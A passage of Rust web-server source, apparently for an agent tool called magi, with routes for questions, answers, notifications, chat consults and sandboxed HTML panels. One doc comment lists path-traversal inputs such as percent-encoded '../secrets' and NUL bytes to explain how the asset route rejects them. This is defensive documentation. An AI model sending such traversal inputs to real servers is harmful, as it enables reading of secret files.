8126    run: Option<String>,
8127    chat: Option<String>,
8128    display: String,
8129    delivery_error: Option<String>,
8130    decision: crate::task_decision::Decision,
8131}
8132
8133impl DecisionView {
8134    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8135        Some(Self {
8136            id: inquiry.id,
8137            task: inquiry.task,
8138            run: inquiry.run,
8139            chat: inquiry.delivered_to,
8140            display: inquiry.display,
8141            delivery_error: inquiry.delivery_error,
8142            decision: inquiry.decision?,
8143        })
8144    }
8145}
8146
8147#[derive(serde::Serialize)]
8148struct DecisionsView {
8149    items: Vec<DecisionView>,
8150    unreadable: usize,
8151    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8152}
8153
8154// Read-only: list visits and inquiry links never create owner decisions,
8155// delivery receipts or effect acknowledgements.
8156async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8157    blocking(move || {
8158        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8159        let mut views: Vec<_> = items
8160            .into_iter()
8161            .filter_map(DecisionView::from_inquiry)
8162            .collect();
8163        views.sort_by_key(|view| {
8164            (
8165                view.decision.status == crate::task_decision::Status::Resolved,
8166                view.id.clone(),
8167            )
8168        });
8169        Ok(Json(DecisionsView {
8170            items: views,
8171            unreadable,
8172            migration_errors: crate::task_chat::migration_issues(&ui.home),
8173        }))
8174    })
8175    .await
8176}
8177
8178async fn decision_get(
8179    State(ui): State<Arc<Ui>>,
8180    Path(id): Path<String>,
8181) -> ApiResult<Json<DecisionView>> {
8182    blocking(move || {
8183        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8184        DecisionView::from_inquiry(inquiry)
8185            .map(Json)
8186            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8187    })
8188    .await
8189}
8190
8191async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8192    blocking(move || {
8193        let questions = ui.questions.list();
8194        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8195        Ok(Json(
8196            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8197                .into_iter()
8198                .map(|view| view.with_origin(&tasks, &talks, &watches))
8199                .collect(),
8200        ))
8201    })
8202    .await
8203}
8204
8205/// Question content and answer controls never wait for task/chat provenance.
8206async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8207    blocking(move || {
8208        Ok(Json(question_views(
8209            ui.questions.list(),
8210            &ui.questions,
8211            || deputy_config(&ui.repo),
8212        )))
8213    })
8214    .await
8215}
8216
8217fn question_record_revision(question: &Question) -> String {
8218    use std::hash::{Hash as _, Hasher as _};
8219    let mut hash = std::hash::DefaultHasher::new();
8220    serde_json::to_vec(question)
8221        .expect("serializable question")
8222        .hash(&mut hash);
8223    format!("{:016x}", hash.finish())
8224}
8225
8226#[derive(Serialize)]
8227struct QuestionOriginView {
8228    id: String,
8229    record_revision: String,
8230    origin_chat: Option<String>,
8231    origin_chat_closed: bool,
8232    can_consult_chat: bool,
8233}
8234
8235async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8236    blocking(move || {
8237        let questions = ui.questions.list();
8238        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8239        Ok(Json(
8240            questions
8241                .into_iter()
8242                .map(|question| {
8243                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8244                    let can_consult_chat = consult.is_some();
8245                    let talk = crate::consult::associated_talk_with_watches(
8246                        &tasks, &talks, &question, &watches,
8247                    );
8248                    QuestionOriginView {
8249                        record_revision: question_record_revision(&question),
8250                        id: question.id,
8251                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8252                        origin_chat: talk.map(|talk| talk.id),
8253                        can_consult_chat,
8254                    }
8255                })
8256                .collect(),
8257        ))
8258    })
8259    .await
8260}
8261
8262type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8263
8264/// Only the task ancestry and chats these questions actually reference. Run
8265/// mappings share the reconciled queue index; exact task references bypass it.
8266/// No question means no task/chat I/O, including no index reconciliation.
8267fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8268    fn task_for_run(
8269        ui: &Ui,
8270        index: &mut Option<Vec<Arc<TaskRelation>>>,
8271        run: &str,
8272        loaded: &HashMap<String, Task>,
8273    ) -> ApiResult<Option<Task>> {
8274        if !plain_record_id(run) {
8275            return Ok(None);
8276        }
8277        if index.is_none() {
8278            *index = Some(ui.indexed_tasks()?);
8279        }
8280        Ok(index
8281            .as_ref()
8282            .expect("loaded index")
8283            .iter()
8284            .find(|task| task.runs.iter().any(|id| id == run))
8285            .and_then(|task| {
8286                loaded
8287                    .get(&task.id)
8288                    .cloned()
8289                    .or_else(|| ui.queue.get(&task.id).ok())
8290            })
8291            .filter(|task| task.runs.iter().any(|id| id == run)))
8292    }
8293    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8294        plain_record_id(id)
8295            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8296            .flatten()
8297            .filter(|task| task.id == id)
8298    };
8299    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8300    let mut index = None;
8301    let mut tasks = HashMap::new();
8302    let mut talks = HashMap::new();
8303    for question in questions {
8304        for reference in crate::consult::question_task_refs(question, &watches) {
8305            let mut current = match reference {
8306                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8307                crate::consult::QuestionTaskRef::Run(id) => {
8308                    task_for_run(ui, &mut index, id, &tasks)?
8309                }
8310            };
8311            let mut seen = HashSet::new();
8312            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8313                let Some(task) = current.take() else {
8314                    break;
8315                };
8316                if !seen.insert(task.id.clone()) {
8317                    break;
8318                }
8319                let chat = task.chat_talk().map(str::to_owned);
8320                let followup = task.followup.clone();
8321                tasks.insert(task.id.clone(), task);
8322                if let Some(chat) = chat {
8323                    if plain_record_id(&chat)
8324                        && !talks.contains_key(&chat)
8325                        && let Ok(talk) = ui.talks.get(&chat)
8326                    {
8327                        talks.insert(chat, talk);
8328                    }
8329                    break;
8330                }
8331                let Some(followup) = followup else {
8332                    break;
8333                };
8334                current = match followup.origin_task {
8335                    Some(id) => direct_task(&id, &tasks),
8336                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8337                };
8338            }
8339        }
8340    }
8341    let mut tasks: Vec<Task> = tasks.into_values().collect();
8342    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8343    Ok((tasks, talks.into_values().collect(), watches))
8344}
8345
8346/// `GET /api/notifications`: not dismissed, newest first, with the unread
8347/// count so the badge and the list cannot disagree.
8348async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8349    blocking(move || {
8350        let items = ui.notices.list();
8351        let unread = items.iter().filter(|n| n.unread()).count();
8352        let items: Vec<_> = items
8353            .into_iter()
8354            .map(|n| {
8355                let question = crate::notices::answerable_question(&n, &ui.questions);
8356                let mut item = serde_json::to_value(n)?;
8357                item["answerable_question"] = serde_json::json!(question);
8358                Ok(item)
8359            })
8360            .collect::<anyhow::Result<_>>()?;
8361        Ok(Json(
8362            serde_json::json!({ "unread": unread, "items": items }),
8363        ))
8364    })
8365    .await
8366}
8367
8368fn notice_error(e: anyhow::Error) -> ApiError {
8369    // An unknown or malformed id and a vanished file are the same answer to
8370    // the phone: that notification is gone.
8371    ApiError::not_found(format!("{e:#}"))
8372}
8373
8374/// `POST /api/notifications/{id}/read`.
8375async fn notification_read(
8376    State(ui): State<Arc<Ui>>,
8377    Path(id): Path<String>,
8378) -> ApiResult<Json<Notice>> {
8379    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8380}
8381
8382/// `POST /api/notifications/{id}/dismiss`.
8383async fn notification_dismiss(
8384    State(ui): State<Arc<Ui>>,
8385    Path(id): Path<String>,
8386) -> ApiResult<Json<Notice>> {
8387    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8388}
8389
8390/// `POST /api/notifications/read-all`.
8391async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8392    blocking(move || {
8393        let changed = ui.notices.mark_all_read()?;
8394        Ok(Json(serde_json::json!({ "marked": changed })))
8395    })
8396    .await
8397}
8398
8399/// The body of `POST /api/questions/{id}/answer`.
8400///
8401/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8402/// a bad request rather than a guess: an answer magi invented is worse than a
8403/// question left open.
8404#[derive(Debug, Default, Deserialize)]
8405#[serde(default, deny_unknown_fields)]
8406struct NewAnswer {
8407    choice: Option<String>,
8408    text: Option<String>,
8409    talk: Option<String>,
8410    head: Option<String>,
8411}
8412
8413async fn question_answer(
8414    State(ui): State<Arc<Ui>>,
8415    Path(id): Path<String>,
8416    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8417) -> ApiResult<Json<QuestionView>> {
8418    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8419    let answer = match (body.choice, body.text) {
8420        (Some(c), None) => Answer::Choice(c),
8421        (None, Some(t)) => Answer::Text(t),
8422        (Some(_), Some(_)) => {
8423            return Err(ApiError::bad_request(
8424                "send either `choice` or `text`, not both",
8425            ));
8426        }
8427        (None, None) => {
8428            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8429        }
8430    };
8431
8432    blocking(move || {
8433        let id = resolve_question(&ui.questions, &id)?;
8434        let q = ui
8435            .questions
8436            .get(&id)
8437            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8438        if !q.can_answer() {
8439            // Answered from the terminal, or by another phone, in between the
8440            // list and the tap. The UI shows the recorded answer rather than an
8441            // error, so it needs the record, not just the status.
8442            return Err(ApiError::conflict(format!(
8443                "question {} is already {}",
8444                q.short(),
8445                q.status.as_str()
8446            )));
8447        }
8448        // `Question::answer` owns the rules - an unoffered choice, free text on
8449        // a multiple-choice question, an empty reply - so the route does not
8450        // restate them and cannot drift from the CLI's behaviour.
8451        let cfg = deputy_config(&ui.repo);
8452        let (q, ()) = ui
8453            .questions
8454            .update(&q.id, |r| {
8455                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8456                // Buttons retain their displayed chat/head binding. A direct
8457                // decision does not require a button or a prior persona offer.
8458                if r.routed_task.is_some()
8459                    && r.merge_target.is_some()
8460                    && merge
8461                    && (body.talk.is_some() || body.head.is_some())
8462                {
8463                    let talk_id = body
8464                        .talk
8465                        .as_deref()
8466                        .context("approval button requires its chat")?;
8467                    let head = body
8468                        .head
8469                        .as_deref()
8470                        .context("approval button requires the displayed head")?;
8471                    let talk = ui.talks.get(talk_id)?;
8472                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8473                    r.answer_chat_button(answer, talk_id, head)
8474                } else {
8475                    r.answer(answer)
8476                }
8477            })
8478            .map_err(ApiError::bad_request_from)?;
8479        let (tasks, talks, watches) =
8480            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8481        Ok(Json(
8482            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8483        ))
8484    })
8485    .await
8486}
8487
8488/// A dedicated status avoids the client's settled-question 409 handling.
8489fn question_text_error(e: anyhow::Error) -> ApiError {
8490    let reason = e
8491        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8492        .map(|e| e.reason);
8493    let error = ApiError::bad_request_from(e);
8494    if let Some(reason) = reason {
8495        ApiError {
8496            text_reason: Some(reason),
8497            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8498        }
8499    } else {
8500        error
8501    }
8502}
8503
8504/// The body of `POST /api/questions/{id}/say`.
8505#[derive(Debug, Deserialize)]
8506#[serde(deny_unknown_fields)]
8507struct NewSay {
8508    body: String,
8509}
8510
8511/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8512///
8513/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8514/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8515/// file, so there is no turn to serialize against and no
8516/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8517/// is a *different* process - the run parked behind `magi ask` - and picks
8518/// the reply up on its own poll of the very same file, same as an answer
8519/// does.
8520async fn question_say(
8521    State(ui): State<Arc<Ui>>,
8522    Path(id): Path<String>,
8523    body: std::result::Result<Json<NewSay>, JsonRejection>,
8524) -> ApiResult<Json<QuestionView>> {
8525    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8526    blocking(move || {
8527        let id = resolve_question(&ui.questions, &id)?;
8528        let q = ui
8529            .questions
8530            .get(&id)
8531            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8532        if !q.status.open() {
8533            // Same granularity as `question_answer`: answered or abandoned in
8534            // between the list and the tap is not this route's error to
8535            // explain any differently.
8536            return Err(ApiError::conflict(format!(
8537                "question {} is already {}",
8538                q.short(),
8539                q.status.as_str()
8540            )));
8541        }
8542        // `Question::say` owns the one rule that matters here - an empty
8543        // message tells the agent nothing - so the route does not restate it.
8544        let cfg = deputy_config(&ui.repo);
8545        let (q, ()) = ui
8546            .questions
8547            .update(&q.id, |r| {
8548                if body.body.trim().is_empty() {
8549                    return r.say(body.body);
8550                }
8551                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8552                r.say(body.body)
8553            })
8554            .map_err(question_text_error)?;
8555        let (tasks, talks, watches) =
8556            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8557        Ok(Json(
8558            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8559        ))
8560    })
8561    .await
8562}
8563
8564/// A disconnected request or a replacing listener cannot interrupt the short
8565/// transaction between persistence and detached worker publication.
8566async fn admitted<T: Send + 'static>(
8567    admission: AdmissionGuard,
8568    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8569) -> ApiResult<T> {
8570    tokio::spawn(async move {
8571        let result = work.await;
8572        drop(admission);
8573        result
8574    })
8575    .await
8576    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8577}
8578
8579/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8580/// came from. The question stays open: the chat agent answers it with `magi
8581/// answer`, or puts the decision to the owner in the conversation.
8582///
8583/// Answers 202 and runs the turn in the background, like every route that
8584/// spends agent calls. The text is queued as a draft of the existing talk, and
8585/// the turn goes through the talk's own gate and session; no seat or waiter is
8586/// started here.
8587async fn question_consult(
8588    State(ui): State<Arc<Ui>>,
8589    Path(id): Path<String>,
8590) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8591    let admission = ui.begin_admission()?;
8592    admitted(admission, async move {
8593        let (q, tasks, talks, watches, talk, cfg) = blocking({
8594            let ui = Arc::clone(&ui);
8595            move || {
8596                let id = resolve_question(&ui.questions, &id)?;
8597                let q = ui.questions.get(&id).map_err(|e| {
8598                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8599                })?;
8600                if !q.status.open() {
8601                    return Err(ApiError::conflict(format!(
8602                        "question {} is already {}",
8603                        q.short(),
8604                        q.status.as_str()
8605                    )));
8606                }
8607                let (tasks, talks, watches) =
8608                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8609                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8610                    return Err(ApiError::conflict(format!(
8611                        "question {} has no chat to ask",
8612                        q.short()
8613                    )));
8614                };
8615                // Read the config before `begin` saves anything: a failure here
8616                // must leave no consult record or draft behind, or a retry would
8617                // see `fresh == false` and never start the turn.
8618                let cfg = if q.consult.is_none() {
8619                    Some(Config::discover(&talk.repo, None)?.0)
8620                } else {
8621                    None
8622                };
8623                Ok((q, tasks, talks, watches, talk, cfg))
8624            }
8625        })
8626        .await?;
8627        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8628            .await
8629            .map_err(ApiError::from)?;
8630        let (view, reclaimed, submitted) = blocking({
8631            let ui = Arc::clone(&ui);
8632            move || {
8633                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8634                let claim = if fresh {
8635                    match ui.begin_queued_talk_turn(&talk.id)? {
8636                        Some(turn_guard) => {
8637                            let talk = ui.talks.get(&talk.id)?;
8638                            let cfg = match cfg {
8639                                Some(cfg) => cfg,
8640                                None => Config::discover(&talk.repo, None)?.0,
8641                            };
8642                            Some((talk, cfg, turn_guard))
8643                        }
8644                        None => None,
8645                    }
8646                } else {
8647                    None
8648                };
8649                let q = ui.questions.get(&q.id)?;
8650                let cfg = deputy_config(&ui.repo);
8651                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8652                    .with_origin(&tasks, &talks, &watches);
8653                Ok((view, claim, fresh.then_some(talk.id)))
8654            }
8655        })
8656        .await?;
8657        #[cfg(not(test))]
8658        {
8659            if let Some(id) = submitted {
8660                crate::chat_worker::spawn_turn(&ui.talks, &id)
8661                    .await
8662                    .map_err(ApiError::from)?;
8663            }
8664            drop(reclaimed);
8665        }
8666        #[cfg(test)]
8667        let _ = submitted;
8668        #[cfg(test)]
8669        if let Some((talk, cfg, turn_guard)) = reclaimed {
8670            let talks = ui.talks.clone();
8671            let id = talk.id.clone();
8672            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8673        }
8674        Ok((StatusCode::ACCEPTED, Json(view)))
8675    })
8676    .await
8677}
8678
8679/// Expand an id or short id to exactly one question id.
8680fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8681    if plain_record_id(id) && store.path_of(id).is_file() {
8682        return Ok(id.to_owned());
8683    }
8684    pick(
8685        store.list().into_iter().map(|q| q.id).collect(),
8686        id,
8687        "question",
8688    )
8689}
8690
8691/// `GET /api/questions/{id}/panel`.
8692///
8693/// The panel an agent wrote for this question, as `text/html` under
8694/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8695/// A question without one is a 404 rather than an empty page: the client
8696/// preflights this route with `HEAD` and must be able to tell "no panel" from
8697/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8698/// parent document so it cannot tell the difference by looking.
8699///
8700/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8701/// sanitises or minifies it - a sanitiser is a list of things someone thought
8702/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8703/// is the direction that stays safe when an agent writes markup nobody
8704/// predicted.
8705async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8706    blocking(move || {
8707        let id = resolve_question(&ui.questions, &id)?;
8708        let Some(html) = ui.questions.panel_html(&id) else {
8709            return Err(ApiError::not_found(format!("question {id} has no panel")));
8710        };
8711        Ok(panel_response(
8712            "text/html; charset=utf-8",
8713            false,
8714            html.into_bytes(),
8715        ))
8716    })
8717    .await
8718}
8719
8720/// `GET /api/questions/{id}/asset/{name}`.
8721///
8722/// One file from the question's own panel directory, so a panel can show a
8723/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8724/// having to allow anything off this machine.
8725///
8726/// This is the only route in the server where a client names a file, so it is
8727/// the only one with a traversal surface, and the name is checked by
8728/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8729/// what is worth being explicit about, because the answer is not "all of it in
8730/// one place":
8731///
8732/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8733///   the raw request path and `{name}` spans exactly one segment, so a real
8734///   slash makes the request too long for the route and the router answers 404.
8735/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8736///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8737///   `..\secrets` respectively, which look like plain filenames to the router.
8738///   The validator refuses them here - both for the literal `..` and because
8739///   `/` and `\` are not in the permitted character set - and answers 400.
8740/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8741///   the platform's path API is not, and it is refused here for the same
8742///   reason: NUL is not a permitted character.
8743/// * [`Questions::panel_asset`] validates again on read, so the check is not
8744///   load-bearing in only one place. This route's own check exists so the
8745///   failure is a 400 that says which name was wrong, rather than a store error
8746///   the operator has to interpret.
8747async fn question_asset(
8748    State(ui): State<Arc<Ui>>,
8749    Path((id, name)): Path<(String, String)>,
8750) -> ApiResult<Response> {
8751    // Before any filesystem work and before any path is built: a name this
8752    // server will not serve should not become a `PathBuf` at all.
8753    if !crate::ask::valid_asset_name(&name) {
8754        return Err(ApiError::bad_request(format!(
8755            "`{name}` is not a usable asset name"
8756        )));
8757    }
8758    blocking(move || {
8759        let id = resolve_question(&ui.questions, &id)?;
8760        let asset = ui
8761            .questions
8762            .panel_asset(&id, &name)
8763            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8764        let Some(bytes) = asset else {
8765            return Err(ApiError::not_found(format!(
8766                "question {id} has no asset `{name}`"
8767            )));
8768        };
8769        Ok(panel_response(
8770            asset_content_type(&name),
8771            is_svg(&name),
8772            bytes,
8773        ))
8774    })
8775    .await
8776}
8777
8778/// Content type for a panel asset, from a closed whitelist.
8779///
8780/// A whitelist with an `application/octet-stream` fallback rather than a
8781/// guess, because the one answer that must never come out of here is
8782/// `text/html`. An agent that writes `notes.html` into its panel directory and
8783/// links it would otherwise get its own markup rendered at the top level of the
8784/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8785/// magi's origin - which is precisely the thing the panel design exists to
8786/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8787///
8788/// `nosniff` accompanies this on every response, so a browser cannot decide it
8789/// knows better than the type we sent.
8790fn asset_content_type(name: &str) -> &'static str {
8791    match extension(name).as_deref() {
8792        Some("png") => "image/png",
8793        Some("jpg" | "jpeg") => "image/jpeg",
8794        Some("gif") => "image/gif",
8795        Some("webp") => "image/webp",
8796        Some("svg") => "image/svg+xml",
8797        Some("css") => "text/css; charset=utf-8",
8798        Some("txt") => "text/plain; charset=utf-8",
8799        _ => "application/octet-stream",
8800    }
8801}
8802
8803/// Is this an SVG, and therefore a file that must never be opened at the top
8804/// level?
8805fn is_svg(name: &str) -> bool {
8806    extension(name).as_deref() == Some("svg")
8807}
8808
8809/// Lowercased extension, or `None` for a name without one.
8810fn extension(name: &str) -> Option<String> {
8811    name.rsplit_once('.')
8812        .map(|(_, ext)| ext.to_ascii_lowercase())
8813}
8814
8815/// Every panel response, with the four headers that make it safe and, for an
8816/// SVG, a fifth.
8817///
8818/// One function rather than a header list per handler, because a panel route
8819/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8820/// model gone, silently, on one of two routes. Adding a third panel route later
8821/// means calling this, and there is nowhere else to build a panel response.
8822///
8823/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8824/// as an `<img src>` inside the panel that script cannot run - but the asset
8825/// URL is also a plain URL an operator can be talked into opening in a tab,
8826/// where it is a document on magi's own origin. `Content-Disposition:
8827/// attachment` makes the browser download it instead of rendering it, which
8828/// closes that door without taking away the ability to draw a diff. Raster
8829/// images have no such execution surface and are left inline, so tapping a
8830/// screenshot still shows it.
8831fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8832    let mut res = (
8833        [
8834            (header::CONTENT_TYPE, content_type),
8835            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8836            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8837            (header::REFERRER_POLICY, "no-referrer"),
8838        ],
8839        body,
8840    )
8841        .into_response();
8842    if download {
8843        res.headers_mut().insert(
8844            header::CONTENT_DISPOSITION,
8845            HeaderValue::from_static("attachment"),
8846        );
8847    }
8848    res
8849}
8850
8851/// A talk as the phone reads it.
8852///
8853/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8854/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8855/// parses markdown itself - and the process-local `thinking` hint.
8856#[derive(Debug, Serialize)]
8857struct ChatApproval {
8858    question: String,
8859    target: crate::merge_decision::Target,
8860}
8861
8862#[derive(Debug, Serialize)]
8863struct TalkView {
8864    #[serde(flatten)]
8865    talk: Talk,
8866    turn_bodies_md: Vec<Vec<md::Node>>,
8867    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8868    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8869    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8870    merge_approvals: Vec<ChatApproval>,
8871    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8872    /// this server process.
8873    ///
8874    /// This is deliberately not durable: another server process cannot see
8875    /// it, and a restarted server must not claim an old turn is live. It is a
8876    /// progress hint rather than proof a reply landed; the transcript remains
8877    /// the source of truth for that.
8878    thinking: bool,
8879    /// Context-window usage, derived per request - see
8880    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8881    /// and each mutation) so the phone needs no extra call or polling.
8882    context: talk::ContextUsage,
8883    /// `[talk] operator_name`, when configured; the Chat labels the
8884    /// operator's turns with it.
8885    operator_name: Option<String>,
8886    /// The active persona's display name; `None` for the default voice.
8887    persona_name: Option<String>,
8888    /// URL of the avatar for the conversation's persona (the default voice
8889    /// included). Server-built; a configured `icon` never reaches the client.
8890    persona_avatar: String,
8891    /// Operator avatar; display only and independent of repository config.
8892    operator_avatar: String,
8893    magi_avatar: String,
8894}
8895
8896impl TalkView {
8897    /// Reads the talk's repository config itself; a config that cannot be
8898    /// read leaves the window unknown but never fails the conversation.
8899    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8900        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8901        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8902    }
8903
8904    /// As [`Self::new`], with the config already in hand (the list reads one
8905    /// per repository, not one per conversation).
8906    fn with_config(
8907        talk: Talk,
8908        thinking: bool,
8909        cfg: Option<&Config>,
8910        home: &FsPath,
8911        cache: &id_links::IndexCache,
8912    ) -> Self {
8913        let references = cache.for_talk(home, &talk);
8914        Self::with_references(talk, thinking, cfg, home, &references)
8915    }
8916
8917    fn with_references(
8918        mut talk: Talk,
8919        thinking: bool,
8920        cfg: Option<&Config>,
8921        home: &FsPath,
8922        references: &id_links::IdIndex,
8923    ) -> Self {
8924        // This owned value is the display DTO; never write it back to the talk store.
8925        let snapshot = talk.clone();
8926        for (index, turn) in talk.turns.iter_mut().enumerate() {
8927            let original = &snapshot.turns[index];
8928            if turn.messages.is_empty() {
8929                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8930                    turn.messages.push(talk::Message {
8931                        sender: Some(talk::Sender::Magi),
8932                        body: original.body.clone(),
8933                        display: Some(display),
8934                        attachments: original.attachments.clone(),
8935                        reply: None,
8936                    });
8937                }
8938            } else {
8939                for (i, message) in turn.messages.iter_mut().enumerate() {
8940                    message.display =
8941                        talk::notice_display(&snapshot, original, original.messages.get(i));
8942                    if message.display.is_some() {
8943                        message.sender = Some(talk::Sender::Magi);
8944                    }
8945                }
8946            }
8947        }
8948        for message in &mut talk.pending_messages {
8949            if message.display.is_none()
8950                && (message.sender == Some(talk::Sender::Magi)
8951                    || snapshot
8952                        .completion_notices
8953                        .iter()
8954                        .any(|r| r.notice == message.body))
8955            {
8956                message.display = crate::prompt::legacy_notice_display(&message.body);
8957                if message.display.is_some() {
8958                    message.sender = Some(talk::Sender::Magi);
8959                }
8960            }
8961        }
8962        if talk.pending_messages.is_empty()
8963            && snapshot
8964                .completion_notices
8965                .iter()
8966                .any(|r| r.notice == talk.pending)
8967            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8968        {
8969            talk.pending_messages.push(talk::Message {
8970                sender: Some(talk::Sender::Magi),
8971                display: Some(display),
8972                body: talk.pending.clone(),
8973                attachments: talk.pending_attachments.clone(),
8974                reply: None,
8975            });
8976        }
8977        let excerpts: Vec<Vec<Option<String>>> = talk
8978            .turns
8979            .iter()
8980            .map(|turn| {
8981                turn.messages
8982                    .iter()
8983                    .map(|m| {
8984                        m.display
8985                            .as_ref()
8986                            .map(|d| d.facts.chars().take(240).collect())
8987                    })
8988                    .collect()
8989            })
8990            .collect();
8991        for turn in &mut talk.turns {
8992            let provenance = talk::sender(turn, None);
8993            turn.sender = Some(provenance);
8994            for message in &mut turn.messages {
8995                message.sender = Some(message.sender.unwrap_or(provenance));
8996            }
8997        }
8998        // Old reply snapshots have only a role; recover provenance from their target.
8999        let senders: Vec<Vec<talk::Sender>> = talk
9000            .turns
9001            .iter()
9002            .map(|turn| {
9003                if turn.messages.is_empty() {
9004                    vec![talk::sender(turn, None)]
9005                } else {
9006                    turn.messages
9007                        .iter()
9008                        .map(|m| talk::sender(turn, Some(m)))
9009                        .collect()
9010                }
9011            })
9012            .collect();
9013        for reply in talk
9014            .turns
9015            .iter_mut()
9016            .flat_map(|t| t.messages.iter_mut())
9017            .chain(talk.pending_messages.iter_mut())
9018            .filter_map(|m| m.reply.as_mut())
9019        {
9020            if let Some(Some(excerpt)) = excerpts
9021                .get(reply.target.turn)
9022                .and_then(|ms| ms.get(reply.target.message))
9023            {
9024                reply.excerpt = excerpt.clone();
9025                reply.sender = Some(talk::Sender::Magi);
9026            }
9027            if reply.sender.is_none() {
9028                reply.sender = senders
9029                    .get(reply.target.turn)
9030                    .and_then(|messages| messages.get(reply.target.message))
9031                    .copied();
9032            }
9033        }
9034        let context = talk::context_usage(&talk, cfg);
9035        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
